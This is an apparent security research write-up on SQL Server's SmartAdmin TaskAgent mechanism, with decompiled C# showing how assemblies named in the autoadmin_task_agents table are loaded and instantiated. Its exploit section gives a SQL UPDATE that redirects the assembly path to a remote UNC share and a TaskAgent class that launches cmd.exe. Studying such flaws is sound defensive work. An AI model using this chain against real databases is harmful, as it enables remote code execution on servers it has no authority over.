SQL Server Smart Admin Agent
SQL Server is a widely used database management system developed by Microsoft. In this article, we will conduct a technical analysis of one of its core components: the SQL Agent.
SQL Agent
SQL Server includes several components, and one of them is the SQL Agent, a service that automates scheduled tasks within the database.
This service enables system administrators to manage backups, maintenance, and automation processes in a secure and structured manner.
Microsoft.SqlAutoAdmin.SqlAutoAdmin
The tasks associated with SQL Agent are handled by Microsoft.SqlAutoAdmin.SqlAutoAdmin.dll, which contains multiple functionalities such as smartbackup
and jobs
.
LoadTaskAgentAssembly
Inside SmartAdminManager
, the LoadTaskAgentAssembly method plays a significant role:
private Assembly LoadTaskAgentAssembly(SmartAdminManager.TaskAgentDescriptor taskAgentDescriptor)
{
Assembly assembly = null;
string text = taskAgentDescriptor.binaryName;
if (!string.IsNullOrEmpty(taskAgentDescriptor.binaryPath))
{
text = taskAgentDescriptor.binaryPath + "\" + text;
}
try
{
this.DebugLog("SmartAdminManager: Trying to load task assembly from " + text + "\n");
assembly = Assembly.LoadFrom(text);
}
catch (FileNotFoundException)
{
this.DebugLog("SmartAdminManager: Assembly not found at " + text + "\n");
}
if (null == assembly)
{
FileInfo fileInfo = new FileInfo(Assembly.GetExecutingAssembly().Location);
text = fileInfo.DirectoryName + "\" + taskAgentDescriptor.binaryName;
try
{
this.DebugLog("SmartAdminManager: Trying again to load task assembly from " + text + "\n");
assembly = Assembly.LoadFrom(text);
}
catch (FileNotFoundException)
{
this.DebugLog("SmartAdminManager: Assembly not found at " + text + "\n");
}
if (null != assembly)
{
taskAgentDescriptor.binaryPath = fileInfo.DirectoryName;
this.UpdateTaskAgentPath(taskAgentDescriptor);
}
}
return assembly;
}
Before understanding this method, we need to examine the nested struct TaskAgentDescriptor
:
private struct TaskAgentDescriptor
{
public string binaryName;
public string binaryPath;
public string className;
}
How this method works, in summary:
assembly
is initialized as null.binaryName
is assigned to thetext
variable.- If
binaryPath
is not empty, it is appended tobinaryName
. Assembly.LoadFrom
attempts to load the specified assembly.
The critical part here is the use of Assembly.LoadFrom
. While this method alone may not guarantee RCE (Remote Code Execution), it opens the door to NTLM relay scenarios.
LoadTaskAgentAssembly Trace
Microsoft.SqlServer.SmartAdmin.SmartAdminManager.LoadTaskAgentAssembly(SmartAdminManager.TaskAgentDescriptor) : Assembly @060000D7
Microsoft.SqlServer.SmartAdmin.SmartAdminManager.Run() : void @060000D9
Microsoft.SqlServer.SmartAdmin.SmartAdminManager.Start(INativeServices) : bool @060000D4
GetTaskAgentDescriptors
private SmartAdminManager.TaskAgentDescriptor[] GetTaskAgentDescriptors()
{
SmartAdminManager.TaskAgentDescriptor[] array = null;
this.DebugLog("TaskMetadataService.GetTasks: Getting SqlConnectivity Service.\n");
try
{
this.DebugLog("GetTaskAgentDescriptors: Getting Sql connection.\n");
int num = 0;
using (SqlConnection privateConnection = this.sqlConnectivityService.GetPrivateConnection(false))
{
this.DebugLog("GetTaskAgentDescriptors: Getting number of tasks to execute.\n");
using (SqlCommand sqlCommand = new SqlCommand("SELECT COUNT(*) FROM autoadmin_task_agents", privateConnection))
{
using (SqlDataReader sqlDataReader = sqlCommand.ExecuteReader())
{
while (sqlDataReader.Read())
{
array = new SmartAdminManager.TaskAgentDescriptor[sqlDataReader.GetInt32(0)];
}
}
}
this.DebugLog("TaskMetadataService.GetTasks: Getting task details.\n");
using (SqlCommand sqlCommand2 = new SqlCommand("SELECT * FROM autoadmin_task_agents", privateConnection))
{
using (SqlDataReader sqlDataReader2 = sqlCommand2.ExecuteReader())
{
while (sqlDataReader2.Read())
{
array[num].binaryName = sqlDataReader2.GetString(1);
array[num].binaryPath = sqlDataReader2.GetString(2);
array[num].className = sqlDataReader2.GetString(3);
num++;
}
}
}
}
}
Run
The Run
method processes the descriptors obtained via GetTaskAgentDescriptors
and attempts to load the corresponding assemblies.
The critical section is here:
Type type = assembly.GetType(taskAgentDescriptor.className);
if (type == null || !type.IsSubclassOf(typeof(TaskAgent)))
{
this.loggerService.Log("[SmartAdmin] Task agent " + taskAgentDescriptor.binaryName + " was loaded but is not compatible.");
}
else
{
this.DebugLog("SmartAdminManager.Run: Creating task instance.\n");
this.taskAgents[i] = (TaskAgent)assembly.CreateInstance(type.FullName);
this.taskAgents[i].Start(this);
array[i] = new Thread(new ThreadStart(this.taskAgents[i].DoWork));
array[i].Name = this.taskAgents[i].GetName();
array[i].Start();
}
In summary:
assembly.GetType()
retrieves the type using the className.- If the type inherits from
TaskAgent
, it is instantiated. CreateInstance
dynamically creates the class instance.Start()
andDoWork()
methods are invoked.
This mechanism creates an attack surface because of its reliance on reflection and type validation.
IsSubclassOf
The IsSubclassOf
reflection method checks if a type inherits from another type. While it enforces some restrictions, in certain scenarios type bypass could still be possible.
TaskAgent Class
namespace Microsoft.SqlServer.SmartAdmin
{
public abstract class TaskAgent
{
public abstract void Start(IServicesFactory services);
public abstract void Stop();
public abstract void DoWork();
public abstract void ExternalJob(string command, LogBaseService jobLogger);
public string GetName()
{
return this.taskAgentSignature;
}
protected string taskAgentSignature;
}
}
Exploit Scenario
An attacker could use SQL Injection to manipulate the autoadmin_task_agents
table and achieve RCE:
UPDATE autoadmin_task_agents
SET task_assembly_name = "class.dll",
task_assembly_path="\\\\remote-server\\ping.dll",
className="Class1.Class1";
Then, a custom class inheriting from TaskAgent
could be executed:
using Microsoft.SqlServer.SmartAdmin;
using System.Diagnostics;
namespace Class1
{
public class Class1 : TaskAgent
{
public Class1()
{
Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c ping localhost -t";
process.Start();
}
public override void DoWork() {}
public override void ExternalJob(string command, LogBaseService jobLogger) {}
public override void Start(IServicesFactory services) {}
public override void Stop() {}
}
}
Conclusion
The TaskAgent mechanism within Microsoft.SqlServer.SmartAdmin
can be abused to achieve remote code execution (RCE).
The reliance on Assembly.LoadFrom
and reflection-based instantiation (CreateInstance
) creates significant security risks if not properly mitigated.